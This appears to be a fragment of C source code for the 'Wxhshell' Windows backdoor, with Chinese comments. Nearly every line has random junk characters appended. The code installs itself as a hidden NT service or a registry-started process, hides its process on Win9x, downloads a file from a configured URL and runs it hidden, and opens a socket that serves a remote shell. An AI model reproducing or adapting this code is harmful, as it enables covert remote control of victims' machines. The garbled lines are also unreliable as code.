ULONG UniqueProcessId; 4HGTgS
ULONG InheritedFromUniqueProcessId; i8V\ x> 9
} PROCESS_BASIC_INFORMATION; IqYJ
L]H'$~xx*
PROCNTQSIP NtQueryInformationProcess; ;&&<zWq3h
KM wV;r
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P)`^rJ6
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; FuiR\"Ww
u9"yU:1keb
HANDLE hProcess; rS_G;}Zr
PROCESS_BASIC_INFORMATION pbi; 2 {&A)Z!I
bI &<L O
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @4*:qj?
if(NULL == hInst ) return 0; U`qkeNd
d5l42^Z
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZU`9]7"87B
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ax&!Nz+?
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gS~H1Ro
p[C"K0>:_F
if (!NtQueryInformationProcess) return 0; ;stuTj@vH
Ab ,^y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nZbI}kcm
if(!hProcess) return 0;
Y${'
{!|4JquE_
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9m
M3Ve*
Ma|4nLC}
CloseHandle(hProcess); $(9QnH1KY
]?4;Lw
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~o!-[
if(hProcess==NULL) return 0; J=^IS\m
"tCTkog3]
HMODULE hMod; `MVqd16Y
char procName[255]; G x[ZHpy;
unsigned long cbNeeded; aj`&ca8
fs
ufYIf
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }*6BaB
KQPu9f9
CloseHandle(hProcess); @PvO;]]%
o^@"eG$,
if(strstr(procName,"services")) return 1; // 以服务启动 'GJB9i+a^
[h3xW
return 0; // 注册表启动 h9Far8}
} "r&,#$6W6
P$ o bID
// 主模块 `DY
yK?R
int StartWxhshell(LPSTR lpCmdLine) ,s~l; Gkj
{ n4kq=Z%
SOCKET wsl; ^!1!l-
BOOL val=TRUE; ">bhxXeiN
int port=0; ZIx-mC5
struct sockaddr_in door; P4[kW}R
>$ZG=&
if(wscfg.ws_autoins) Install(); oN1D&*
Wi&v?nm
port=atoi(lpCmdLine); XR+
SjCA
0VNLhM(LM
if(port<=0) port=wscfg.ws_port; `*8}q!.
t neTOj
WSADATA data; )aIcA
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; OBAO(Ke
%4*c/ c6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; bCw{9El!K4
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?#K.D vGJ
door.sin_family = AF_INET; *C*ZmC5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); cT'Bp)a
door.sin_port = htons(port); XGSFG~d
072C!F
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }:#WjH^
closesocket(wsl); LL( xi )
return 1; 8S1@,O,
} Pp_4B
7S{qo&j'
if(listen(wsl,2) == INVALID_SOCKET) { L"bJ#0m
closesocket(wsl); |owr?tC
return 1; a4,V(Hlm
} i|^Q{3?o#
Wxhshell(wsl); Q>{$Aqc,e
WSACleanup(); L)JB^cxf
.t@|2
return 0; t$!zgUJ
nONuw;K
} 4eHSAN"$
,sL'T[tuiU
// 以NT服务方式启动 Z Ts*Y,
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y74Q(
{ $wUYK%.
DWORD status = 0; ;\RVC7
DWORD specificError = 0xfffffff; c[Fc3
_KH91$iW8m
serviceStatus.dwServiceType = SERVICE_WIN32; ,R{&x7
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 60+ zoL'
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6^b)Q(Edut
serviceStatus.dwWin32ExitCode = 0; 64/ZfXD
serviceStatus.dwServiceSpecificExitCode = 0; *O_fw 0jV
serviceStatus.dwCheckPoint = 0; *$eH3nn6g
serviceStatus.dwWaitHint = 0; O)dnr8*
6 eSo.@*l
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CQWXLQED>
if (hServiceStatusHandle==0) return; DsHF9Mn
D]@(LbMG4
status = GetLastError(); b9j}QK
if (status!=NO_ERROR) '##?PQ*u
{ A^OwT#
serviceStatus.dwCurrentState = SERVICE_STOPPED; At.&$ t
serviceStatus.dwCheckPoint = 0; mo| D
serviceStatus.dwWaitHint = 0; 5T;LWS
serviceStatus.dwWin32ExitCode = status; ahl|N`
serviceStatus.dwServiceSpecificExitCode = specificError; gnp.!-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t=P+m
return; qd0G sr}j
} \}b2oiY
=z# trQ{
serviceStatus.dwCurrentState = SERVICE_RUNNING; #kW=|8X
serviceStatus.dwCheckPoint = 0; f+ r>ur}\)
serviceStatus.dwWaitHint = 0; %ztZ#h~g
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |=}+%>y_
} &ivU4rEG
>#G%2Vp
// 处理NT服务事件,比如:启动、停止 OWvblEBF
VOID WINAPI NTServiceHandler(DWORD fdwControl) G+c&e:ip<
{ tYD8Y
switch(fdwControl) ^OV; P[
{ P'<i3#;7X
case SERVICE_CONTROL_STOP: `
i[26Qb
serviceStatus.dwWin32ExitCode = 0; E'WXi!>7p
serviceStatus.dwCurrentState = SERVICE_STOPPED; MJ:c";KCq0
serviceStatus.dwCheckPoint = 0; zVE" 6
serviceStatus.dwWaitHint = 0; mE<_oRM)
{ nd'D0<%
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p.W7>o,[w
} oywiX@]~7
return; [piK"N
case SERVICE_CONTROL_PAUSE: fV"Y/9}(
serviceStatus.dwCurrentState = SERVICE_PAUSED; I 1]YT
break; d4b!
r
case SERVICE_CONTROL_CONTINUE: 7\UHADr
serviceStatus.dwCurrentState = SERVICE_RUNNING; l+Wux$6U
break; $J6
.0O
case SERVICE_CONTROL_INTERROGATE: pz^S3fy
break; 1clzDwW
}; \n_7+[=E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ='"Yj
} q2%cLbI
F
{-5)nS^_
// 标准应用程序主函数 $1 ])>m_ct
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u#ya
8
{ gT8(LDJ
)q<VZ|V
// 获取操作系统版本 WM+8<|)n
OsIsNt=GetOsVer(); s\d3u`G
GetModuleFileName(NULL,ExeFile,MAX_PATH); FS"Ja`>j~
I=L["]
// 从命令行安装 0ca0-vY
if(strpbrk(lpCmdLine,"iI")) Install(); mlByE,S2E
$oW=N
// 下载执行文件 w[z=x
if(wscfg.ws_downexe) { :%gc Sm
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ':4ny]F
WinExec(wscfg.ws_filenam,SW_HIDE); 4u5j
7`O
} ]O|>nTa
aqSOC(jU
if(!OsIsNt) { oRbWqN`F.
// 如果时win9x,隐藏进程并且设置为注册表启动 g]f<k2
HideProc(); 29:2Xu i
StartWxhshell(lpCmdLine); sPK ]:iC
} 1sXCu|\q
else "==c
if(StartFromService()) Xq1#rK(
// 以服务方式启动 |)7K(R)(=
StartServiceCtrlDispatcher(DispatchTable); `he# !"
else Z. ${WZW
// 普通方式启动 W1)SgiXnuy
StartWxhshell(lpCmdLine); XGZZKvp
(%R%UkwP9
return 0; $j- Fm:ZIA
}